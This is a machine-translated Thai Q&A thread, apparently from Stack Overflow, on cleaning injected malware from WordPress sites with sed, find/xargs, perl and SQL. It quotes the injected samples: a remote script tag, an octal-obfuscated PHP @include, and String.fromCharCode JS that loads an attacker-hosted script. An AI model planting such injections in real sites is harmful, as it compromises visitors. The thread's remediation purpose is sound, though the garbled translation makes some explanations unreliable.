วิธีแทนที่สตริงทั้งหมดด้วย sed หรือ grep


10

ดังนั้นเซิร์ฟเวอร์ทั้งหมดของฉันถูกแฮ็กหรือมีปัญหามัลแวร์ ไซต์ของฉันใช้ WordPress และไซต์ส่วนใหญ่ที่โฮสต์บนเซิร์ฟเวอร์ของฉันนั้นใช้ WordPress แฮ็กเกอร์เพิ่มรหัสบรรทัดนี้ให้กับทุกไฟล์และในฐานข้อมูล

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

ฉันค้นหาโดยใช้คำสั่ง grep

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

ฉันพยายามแทนที่มันตลอดโครงสร้างไฟล์ด้วยsedและฉันเขียนคำสั่งต่อไปนี้

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

ฉันพยายามแทนที่สตริงในไฟล์เดียวindex.phpก่อนดังนั้นฉันจึงรู้ว่ามันใช้งานได้

และฉันรู้ว่ารหัสของฉันผิด โปรดช่วยฉันด้วยสิ่งนี้

ฉันลองใช้รหัส @ Eran และลบทั้งบรรทัดซึ่งดีและเป็นไปตามที่คาดไว้ อย่างไรก็ตามศัพท์แสงทั้งหมดนี้

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

<?phpและในขณะที่ฉันต้องการที่จะลบเนื้อหาทั้งหมดที่ฉันต้องการให้แท็ก PHP เปิด

แม้ว่าโซลูชันของ @ slybloty นั้นใช้งานง่ายและใช้งานได้

ดังนั้นเพื่อลบรหัสออกจากไฟล์ที่ได้รับผลกระทบทั้งหมด ฉันใช้ 3 คำสั่งต่อไปนี้ขอบคุณทุกท่านสำหรับสิ่งนี้

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - เพื่อลบบรรทัดสคริปต์
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- การลบ@includeสาย
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - เพื่อลบบรรทัดความคิดเห็น

นอกจากนี้ฉันยังรันทั้ง 3 คำสั่งอีกครั้ง'*.html'เพราะสคริปต์ของแฮ็กเกอร์สร้าง index.html ที่ไม่ต้องการในไดเรกทอรีทั้งหมด ฉันไม่แน่ใจว่าการลบ index.html เหล่านี้เป็นวิธีการที่ถูกต้องหรือไม่

ตอนนี้ฉันยังคงต้องคิดออกไฟล์ขยะและร่องรอยของมัน

แฮกเกอร์สคริปต์เพิ่มรหัส JS ด้วย

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

พยายามที่จะดูว่าฉันสามารถทำได้sedเช่นกัน


คุณรู้ได้อย่างไรว่ารหัสของคุณผิด
Beta

เพราะฉันวิ่งแล้วมันจะขอข้อมูลเพิ่มในบรรทัดถัดไปที่ชอบ `>`
Dilip Gupta

2
คุณลบสายไม่ได้ใช่ไหม sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan

1
นอกจากนี้คุณยังสามารถเพิ่ม grep ของคุณมีฟีดในไฟล์ทั้งหมดที่มีบรรทัดนี้ในพวกเขาเช่นนี้ตัวเลือกเพียงให้ชื่อไฟล์และข้อความที่ไม่ตรงกัน while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
Jason

1
อีกสิ่งหนึ่ง ... ถ้าคุณใช้วิธีการนี้ผมจะใช้ประโยชน์จาก "สำรอง" sed -iพารามิเตอร์ตัวเลือกสำหรับ ตัวอย่างเช่นsed -i.bakจะสร้าง*.bakไฟล์สำหรับไฟล์ทั้งหมดที่ถูกแก้ไข เมื่อใช้กับwhile...grepลูปคุณจะทำการสำรองไฟล์ที่มีสตริงนั้นเท่านั้น ขออภัยสำหรับความคิดเห็นเพิ่มเติมทั้งหมด แต่ในความเห็นของฉันมัลแวร์เป็นสถานการณ์ "all hands on deck"
Jason

คำตอบ:


2

ใช้เครื่องหมายอัญประกาศคู่ ( ") สำหรับสตริงและอย่าหลีกเลี่ยงอัญประกาศเดี่ยว ( ') หรือแท็ก ( <>) ยกเว้นเครื่องหมายทับ ( /)

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

ว่าวิธีการที่คุณตัดสินใจที่จะใช้กับ sed คุณสามารถเรียกใช้กระบวนการหลายพร้อมกันหลายไฟล์ที่มีตัวเลือกที่สมบูรณ์แบบด้วยการกรองและfind xargsตัวอย่างเช่น:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

มันจะ:

  • find - ค้นหา
  • -type f - ไฟล์เท่านั้น
  • -name '*.txt' - ลงท้ายด้วย php
  • -print0 - pritn พวกเขาคั่นด้วยศูนย์ไบต์
  • | xargs -0 - สำหรับแต่ละไฟล์คั่นด้วยศูนย์ไบต์
  • -P7 - รัน 7 กระบวนการอย่างชัดเจน
  • -n1 - สำหรับแต่ละไฟล์
  • sed - สำหรับการเรียกใช้ไฟล์แต่ละไฟล์
  • -i - แก้ไขไฟล์ให้เข้าที่
  • '...' - สคริปต์ sed ที่คุณต้องการเรียกใช้จากคำตอบอื่น ๆ

คุณอาจต้องการเพิ่ม-tตัวเลือกในxargsการดูความคืบหน้า ดูman find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html )


2

เครื่องหมายคำพูดเดี่ยวถูกนำมาใช้อย่างแท้จริงโดยไม่มีอักขระยกเว้น ในvar='hello\''คุณมีคำพูดที่ยังไม่ปิด

เพื่อแก้ไขปัญหานี้ 1) ใช้เครื่องหมายคำพูดคู่เพื่อล้อมรอบsedคำสั่งหรือ 2) ยกเลิกสตริงที่ยกมาเดี่ยวเพิ่ม\'และเปิดสตริงคำพูดอีกครั้ง

อย่างไรก็ตามวิธีที่สองทำให้เกิดความสับสนมากขึ้น

นอกจากนี้sedสามารถใช้ตัวคั่นใดก็ได้เพื่อแยกคำสั่ง เนื่องจากคุณมีเครื่องหมายทับในคำสั่งจึงเป็นการง่ายที่จะใช้เครื่องหมายจุลภาค ตัวอย่างเช่นการใช้วิธีแรก:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

ใช้วิธีที่สอง:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

ตัวอย่างนี้เป็นการศึกษามากกว่าการปฏิบัติ นี่คือวิธีการ'\''ทำงาน:

ก่อน': สิ้นสุดสตริงตัวอักษรที่ยกมาปัจจุบัน

\': ป้อนเครื่องหมายคำพูดเดี่ยวเป็นตัวอักษร

ที่สอง': ป้อนสตริงตัวอักษรที่ยกมาอีกครั้ง

ตราบใดที่ไม่มีที่ว่างคุณก็จะทำตามsedคำสั่งของคุณต่อไป bashความคิดนี้จะไม่ซ้ำกัน

ฉันกำลังออกจากที่หลบหนี<และ>อยู่ในนั้นเพราะฉันไม่แน่ใจว่าคุณใช้สิ่งนี้เพื่ออะไร sedใช้\<และ\>เพื่อหมายถึงการจับคู่คำ ฉันไม่แน่ใจว่ามันตั้งใจหรือไม่

ถ้าไม่ตรงกับอะไรแล้วคุณอาจต้องการที่จะหลีกเลี่ยงการหลบหนีและ<>

แก้ไข: โปรดดูวิธีการแก้ปัญหา @ EranBen-Natan ในความคิดเห็นสำหรับวิธีการแก้ปัญหาที่เกิดขึ้นจริงมากขึ้น คำตอบของฉันมีทรัพยากรมากขึ้นว่าเหตุใด OP จึงถูกขอให้ป้อนข้อมูลเพิ่มเติมด้วยคำสั่งดั้งเดิมของเขา

แนวทางแก้ไข 2

สำหรับการทำงาน, ฉันทำสมมติฐานที่ว่าคุณมีตัวเลือกที่ไม่ได้มาตรฐานsed -zGNU เวอร์ชันsedควรมีสิ่งนี้ ฉันยังสมมติว่ารหัสนี้จะปรากฏในรูปแบบยาว 6 บรรทัดเสมอ

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

วิธีการทำงาน: เราใช้จุดเริ่มต้นของบรรทัด fromCharCode เพื่อจับคู่ทุกอย่าง -zแยกไฟล์เป็นโมฆะแทนบรรทัดใหม่ สิ่งนี้ทำให้เราสามารถค้นหาการป้อนบรรทัดได้โดยตรง

[^\n]*\n- สิ่งนี้จะจับคู่ทุกอย่างจนกว่าจะมีการป้อนบรรทัดจากนั้นจึงจับคู่การป้อนบรรทัดเพื่อหลีกเลี่ยงการจับคู่โลภ regex เนื่องจากเราไม่ได้แยกสายฟีด ( -z) regex จึงvar pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nจับคู่การแข่งขันที่ใหญ่ที่สุด ตัวอย่างเช่นหาก\n}\nปรากฏขึ้นที่ใดก็ได้ลงในไฟล์คุณจะต้องลบรหัสทั้งหมดระหว่างนั้นและรหัสที่เป็นอันตราย ดังนั้นการทำซ้ำลำดับนี้ 6 ครั้งจะจับคู่เรากับท้ายบรรทัดแรกและ 5 บรรทัดถัดไป

grep -lr- เป็นการเรียกซ้ำgrepที่เราแสดงรายการไฟล์ที่มีรูปแบบการจับคู่เท่านั้น วิธีsedนี้ไม่ได้แก้ไขทุกไฟล์ หากปราศจากสิ่งนี้-i.bak(ไม่ธรรมดา-i) จะทำให้เป็นระเบียบ


ขอบคุณ @Jason ฉันจะลองวิธีการของคุณนี้ ตอนนี้ฉันไม่มีตัวเลือกสำหรับการสำรองข้อมูล ดังนั้นฉันติดอยู่กับการทำความสะอาด
Dilip Gupta

@DilipGupta ฉันขอแนะนำให้สำรองข้อมูลตอนนี้คุณอยู่ที่ไหน คุณสามารถใช้สิ่งที่ต้องการrsyncสำรองและกู้คืน
เจสัน

คุณใช้ adminer.php หรือไม่ ดูเหมือนว่ามันจะติด
เชื้อได้

1

คุณติดตั้งปลั๊กอิน wp-mail-smtp หรือไม่ wp-content/plugins/wp-mail-smtp/src/Debug.phpเรามีมัลแวร์ที่เหมือนกันและเรามีสิ่งที่แปลกบางอย่างใน

นอกจากนี้ลิงค์ javascript ยังมีอยู่ในทุกpost_contentฟิลด์ในwp_postsฐานข้อมูล WordPress


ใช่ฉันมีปลั๊กอินที่ติดตั้งและมีเช่นที่คุณพูด ฉันพยายามทำความสะอาดก่อนแล้วจึงเพิ่มความปลอดภัย โปรดทราบว่าแฮ็กเกอร์ได้ติดตั้งปลั๊กอินที่เรียกว่าsuper-socialatตรวจสอบสิ่งนั้นด้วย
Dilip Gupta

คุณพบสิ่งใดใน Debug.php ฉันไม่พบสิ่งแปลก ๆ ในนั้น แต่อาจเก็บไว้ในไฟล์อื่นถ้าคุณจะให้รหัสบางส่วนฉันอาจจะค้นหาไฟล์ได้มั้ย ไม่พบปลั๊กอินใหม่ที่ติดตั้ง
Jiro Matchonson

1
คุณใช้โปรแกรมแก้ไขอะไร ถ้าฉันเปิดสิ่งนั้นในกลุ่มฉันจะเห็นว่าสิ่ง weid แต่ไม่ใช่ในนาโนหรือตัวแก้ไขบางอย่างเช่น Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

สวัสดีฉันกำลังมองหาที่ผ่าน winscp แต่ตอนนี้พยายาม vi, ยังไม่พบสิ่งใด ขอบคุณมากเช่นป่วย tri เพื่อค้นหาในไฟล์
Jiro Matchonson

ดูเหมือนว่ามันจะเป็นคำสั่ง sql ซึ่งเขียนโดยใช้ตำแหน่งตัวอักษรในตัวแปร $ GLOBALS หรืออะไรทำนองนั้นมันจึงหาไม่เจอโดยมองหา "trasnaltemyrecords" ฉันพยายามมองหา grep -r "NULL ); @ $ "/ var / www / html / { , } หรือสิ่งอื่น ๆ แต่ไม่พบอะไรเลย ยังไงก็ตามผมมี adminer.php เก่าบนหน้าเวิร์ดเพรสเพื่อที่อาจจะยังเป็นแหล่งของการรั่วไหลที่อาจจะ ..
จิโร่ Matchonson

0

ฉันได้สิ่งเดียวกันวันนี้การโพสต์หน้าทั้งหมดได้เพิ่มสคริปต์ไวรัสที่น่ารังเกียจนี้

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

ฉัน dissabled จากฐานข้อมูลโดย

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

ฉันไม่มีไฟล์ที่ติดไวรัสอย่างน้อย

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

ไม่พบสิ่งใด แต่ฉันไม่รู้ว่านี่เป็นฐานข้อมูลที่ไม่สงบเลย

การติดเชื้อนี้ทำให้เกิดการเปลี่ยนเส้นทางในหน้าโครเมี่ยมส่วนใหญ่ตรวจพบและบล็อกนี้ ไม่ได้สังเกตเห็นสิ่งแปลก ๆ ใน - /wp-mail-smtp/src/Debug.php


ฉันคิดว่ามันเกี่ยวข้องกับการหยุดของปลั๊กอินและแฮ็กเกอร์เข้าถึงประตูหลังของเว็บไซต์
Dilip Gupta

แต่ปลั๊กอินตัวไหนผ่าน 2 hous และทุกอย่างกลับมาเปลี่ยนเส้นทางอีกครั้ง
Jiro Matchonson

0

ฉันมีสิ่งเดียวกันวันนี้ทุกหน้ามีสคริปต์เพิ่ม ฉันจัดการกับมันสำเร็จแล้วโดยใช้https://en.wordpress.org/plugins/search-and-replace/ plugin

นอกจากนี้ฉันยังพบหนึ่งระเบียนในคอลัมน์ wp_posts คอลัมน์ post_content folowing สตริง:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

และลบด้วยตนเอง


0

สำหรับฉันทำงานนี้:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

คุณต้องค้นหา: * .js, * .json, * .map

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.